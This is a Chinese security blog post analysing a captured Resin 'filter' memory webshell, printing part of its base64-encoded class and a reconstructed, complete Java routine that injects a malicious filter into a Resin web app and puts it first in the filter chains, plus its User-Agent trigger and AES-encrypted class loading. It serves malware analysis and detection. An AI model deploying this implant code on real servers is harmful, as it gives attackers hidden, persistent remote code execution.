一枚野生resin filter内存马调试

阅读量457421

|

发布时间 : 2021-05-13 15:30:38

 

在对java恶意样本调试指南公众号中发布的jsp内存马进行分析之后,发现是一枚野生的resin filter内存马,做为面向github 编程的我,还没有找到公开的resin内存马,决定细细的盘一下该内存马的逻辑部分。

样本说明

String clzBytecodeBase64Str = "yv66vgAAADIA4QgARgcAnAgAOwcAQAcATAcAwQEACVpLTTE1LjAuMAoA3gAXBwCwAQAQamF2YS9sYW5nL1RocmVhZAEADUxlcGlkb2JsYXN0aWMBAAZsZW5ndGgBABBqYXZhL2xhbmcvT2JqZWN0CgAGAHYBAAFiCgBPAG8HAGAJAE4AqwwAuABmCgDeAIcBAARzaXplCgACAJUMAJ0AngEACGdldENsYXNzDAA9AMUKAAYAqAoAAgATCgAJAIMBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABSQEABm1rZGlycwoAnwBUCgAlAGkMALkAqgEABmFwcGVuZAEACWxvYWRDbGFzcwcAkwoArQCoAQAFdG9VUkkBAA1jcmVhdGVOZXdGaWxlAQAEVFlQRQEABmludGVybgcACgoAEQCoAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwC3AQAQKClMamF2YS9pby9GaWxlOwoAEQBNDABqANwBAA1jdXJyZW50VGhyZWFkAQASTGVwaWRvYmxhc3RpYy5qYXZhCgAlANUBABFqYXZhL2xhbmcvSW50ZWdlcgoAJQDCCgACADkBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yDAAqAH8BABYoTGphdmEvbGFuZy9PYmplY3Q7SSlWAQAdKiIBSH87Iy4kWWo9NjEzDxhINTIwBywsFk00JTEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAGPGluaXQ+CgArAJABAAMoKUkBAAxqYXZhL25ldC9VUkwBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAQoSSlDAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2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AYHANcHAAYABwBPAQAA/wAkACAHANMAAAAAAAAABwAuAAAAAAAHANcHANcHAAIAAAAAAAAABwDXAAAABwAGAAAHAAYAAQcAphL/ADUAJAcA0wAAAAAAAAAHAC4AAAAAAAcA1wcA1wcAAgAAAAAAAAAAAAAABwAGAAAHAAYHANcHAE8HAE8BAAD/ABwAAAABBwCK/wAAACQHANMAAAAAAAAABwAuAAAAAAAHANcHANcHAAIAAAAAAAAAAAAAAAcABgAABwAGBwDXAAcATwEAAP8AfgAPBwDTAAAAAAAAAAAAAAAAAAcA1wABBwCK/wAAACQHANMAAAAAAAAABwAuAAAAAAAHANcAAAAAAAAAAAAAAAAAAAAAAAAAAAcAJQAA/wA7ACkHANMAAAAAAAAAAAAAAAAABwDXAAAAAAAAAAAAAAAAAAAAAAAAAAAHACUAAAAHANcHAC4AABH9AAkHAAYHAN5RBwCm+gAL/wA2AC8HANMAAAAAAAAAAAAAAAAABwDXAAAAAAAAAAAAAAAAAAAAAAAAAAAHACUAAAAHANcAAAAABwDXBwAGBwDeAABSBwCm+gAL/wAeACQHANMAAAAAAAAAAAAAAAAABwDXAAAAAAAAAAAAAAAAAAAAAAAAAAAHACUAAP8AAgAPBwDTAAAAAAAAAAAAAAAAAAcA1wABBwCa/wABACQHANMAAAAAAAAAAAAAAAAABwDXAAAAAAAAAAAAAAAAAAAAAAAAAAAHALIAAP8AcwAAAAEHAJoBAAEAzgAAAAIAMw==";

作者给出的是一串base64编码,解码后直接是对应内存马的class文件;可以直接使用idea自带的反编译查看源码

恶意代码为Overbrilliantly:包含了一个构造器、两个静态变量和 static 静态代码块

主要逻辑static静态代码块中,样本字符串解密如原文描述类似:”字符串加密为xor,长度为7,加密后的字符串第一位为本次待解密字符串的长度”。我们的目的是为了能够还原resin 内存马,debug 过程直接跳过解密过程,在关键部分进行断点。

var0 是前段解密代码还原出来的字符串数组

代码逻辑中利用反射方法 loadCLass 加载了 com.caucho.server.dispatch.ServletInvovation , com.caucho.server.dispatch.FilterConfigImpl 等类,这些是 resin 容器的基础类,可以看出这是一个针对 resin 容器的内存马,如果要进行debug 还需要引入resin依赖或者直接创建一个运行在resin上的web服务。

 

内存马的主要逻辑

该样本(resin)和其他容器filter 型内存马类似,创建 filter,添加 filterConfigImpl 实例,添加filterMapping 路由映射。

创建 filter

在反射加载完必要的依赖class之后,该样本调用 java.uti.Base64$decoder/javax.xml.bind.DatatypeConverter.parseBase64Binary对字符串 var17 进行解码;然后使用 defineClass 类加载器进行了加载,其中 var17 字符串就是样本构建的恶意filter类的base64编码,类名 PseudodramaticallyFilter

创建并添加 filterConfigImpl 实例

在加载恶意 filter之后 PseudodramaticallyFilter, 通过 newInstance 创造类实例, 并调用反射方法 setFilterName 及利用反射对 _filterClassName, _filterClass 字段赋值,生成一个 PseudodramaticallyFilterfilterConfigImpl实例,然后添加到当前 WebApp

由于相应_filterClassName, _filterClass 都有 public 操作方法,可直接显示赋值如下

String newFilterStr = "newfilter";
Filter newFilter = new newfilter();
Class newFiltercls = newFilter.getClass();

FilterConfigImpl filterConfigimpl = (FilterConfigImpl)filterConfigimplcls.newInstance();
filterConfigimpl.setFilterName(newFilterStr);
filterConfigimpl.setFilter(newFilter);
filterConfigimpl.setFilterClass(newFiltercls);

webapp.addFilter(filterConfigimpl);

filterConfigImpl 实现了 javax.servlet.FilterConfigjavax.servlet.FilterRegistration.Dynamic 接口

动态添加的恶意filter模块

创建相应 filter 路由映射

通过创建 FilterMapping 实例, 并设置相对应的路由,这里可以看见恶意样本是对所有的路径进行匹配

相对应的显示调用源码如下

FilterMapping filterMapping = (FilterMapping)filterMappingcls.newInstance();
FilterMapping.URLPattern filterMappingUrlpattern = filterMapping.createUrlPattern();
filterMappingUrlpattern.addText("/*");
filterMappingUrlpattern.init();
filterMapping.setFilterName(newFilterStr);
filterMapping.setServletContext(webapp);

调整 filter 顺序

在创建filter 实例,添加 filterConfigImpl及相应路由之后,样本路由添加到 WebApp._filerMapperWebApp._loginFilterMapper 中,_filerMapper_loginFilterMapper 中存放的是 ArrayList<FilterMapping> 数组,样本通过创建新的 ArrayList<FilterMapping> 并将前序步骤创建的 filterMapping 做为首位加入。

Field fieldWebappFilterMapper = null;
try {
    fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper");
}catch (NoSuchFieldException Exception){
    fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper");
}

fieldWebappFilterMapper.setAccessible(true);
FilterMapper filtermapper = (FilterMapper) fieldWebappFilterMapper.get(webapp);

Field fieldFilterMapperFilterMap = filterMappercls.getDeclaredField("_filterMap");
fieldFilterMapperFilterMap.setAccessible(true);

ArrayList<FilterMapping> orginalfilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper);
ArrayList<FilterMapping> newFilterMappings = new ArrayList(orginalfilterMappings.size() + 1);
newFilterMappings.add(filterMapping);

int count = 0;
while(count < orginalfilterMappings.size()){
    newFilterMappings.add(orginalfilterMappings.get(count));
    ++ count;
}

fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings);
fieldWebappFilterMapper.set(webapp, filtermapper);

调整之后的 _filterMapper

 

完整的 resin 内存马逻辑

提供一份创建完整的 resin 内存马逻辑

ClassLoader classloader = Thread.currentThread().getContextClassLoader();

Class servletInvocationcls = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation");
Class filterConfigimplcls = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl");
Class filterMappingcls = classloader.loadClass("com.caucho.server.dispatch.FilterMapping");
Class filterMappercls = classloader.loadClass("com.caucho.server.dispatch.FilterMapper");

Object contextRequest = servletInvocationcls.getMethod("getContextRequest").invoke(null);
WebApp webapp = (WebApp)contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest);

String newFilterStr = "newfilter";
Filter newFilter = new newfilter();
Class newFiltercls = newFilter.getClass();

FilterConfigImpl filterConfigimpl = (FilterConfigImpl)filterConfigimplcls.newInstance();
filterConfigimpl.setFilterName(newFilterStr);
filterConfigimpl.setFilter(newFilter);
filterConfigimpl.setFilterClass(newFiltercls);

webapp.addFilter(filterConfigimpl);

FilterMapping filterMapping = (FilterMapping)filterMappingcls.newInstance();
FilterMapping.URLPattern filterMappingUrlpattern = filterMapping.createUrlPattern();
filterMappingUrlpattern.addText("/abcd");
filterMappingUrlpattern.init();
filterMapping.setFilterName(newFilterStr);
filterMapping.setServletContext(webapp);


//set filtterMapper
Field fieldWebappFilterMapper = null;
try {
    fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper");
}catch (NoSuchFieldException Exception){
    fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper");
}

fieldWebappFilterMapper.setAccessible(true);
FilterMapper filtermapper = (FilterMapper) fieldWebappFilterMapper.get(webapp);

Field fieldFilterMapperFilterMap = filterMappercls.getDeclaredField("_filterMap");
fieldFilterMapperFilterMap.setAccessible(true);

ArrayList<FilterMapping> orginalfilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper);
ArrayList<FilterMapping> newFilterMappings = new ArrayList(orginalfilterMappings.size() + 1);
newFilterMappings.add(filterMapping);

int count = 0;
while(count < orginalfilterMappings.size()){
    newFilterMappings.add(orginalfilterMappings.get(count));
    ++ count;
}

fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings);
fieldWebappFilterMapper.set(webapp, filtermapper);

//set loginFilterMapper
Field fieldWebappLoginFilterMapper = null;
try{
    fieldWebappLoginFilterMapper = webapp.getClass().getDeclaredField("_loginFilterMapper");
}catch (NoSuchFieldException Exception){
    fieldWebappLoginFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_loginFilterMaper");
}

fieldWebappLoginFilterMapper.setAccessible(true);
FilterMapper loginFilterMapper = (FilterMapper)fieldWebappLoginFilterMapper.get(webapp);

ArrayList<FilterMapping>  orginLoginFilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(loginFilterMapper);
ArrayList<FilterMapping> newLoginFilterMappings = new ArrayList(orginLoginFilterMappings.size() + 1);
newLoginFilterMappings.add(filterMapping);

count = 0;
while( count < orginLoginFilterMappings.size()){
    newLoginFilterMappings.add(orginLoginFilterMappings.get(count));
    ++ count;
}

fieldFilterMapperFilterMap.set(loginFilterMapper, newLoginFilterMappings);
fieldWebappLoginFilterMapper.set(webapp, loginFilterMapper);


webapp.getClass().getMethod("clearCache").invoke(webapp);

 

加载的的 filter 说明

对前序加载的filter字串进行base64解码及反编译,是一个实现了filter接口的自定义filter,全限定名为com.caucho.filters.PseudodramaticallyFilter.class ,利用com.caucho.filters resin 依赖进行伪装,PseudodramaticallyFilter翻译为明显假的filter

类结构如下图所示,defineClass 加载类时会调用static静态代码块,对字符串进行解密。

dofilter 模块,写明的匹配处理逻辑

样本使用User-Agent头做为匹配字符串 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.26 (KHTML, like Gecko) Chrome/86.0.4240.138 Safari/531.26, 使用AES 加密会话,然后进行 base64 解码及类加载运行。

User-Agent虽然在格式上和Chrome浏览器相同,但是未在https://user-agents.net/查询到相应的版本,隐蔽效果拔群。

 

备注

样本后续还进行了创建文件(/tmp/com/filters/PseudodramaticallyFilter.class:可以做为自查指标),自删除等一些列操作,众位看官可自行分析

 

参考连接

  1. java恶意样本调试指南

本文由superxx原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/239866

安全客 - 有思想的安全新媒体

分享到:微信
+16赞
收藏
superxx
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66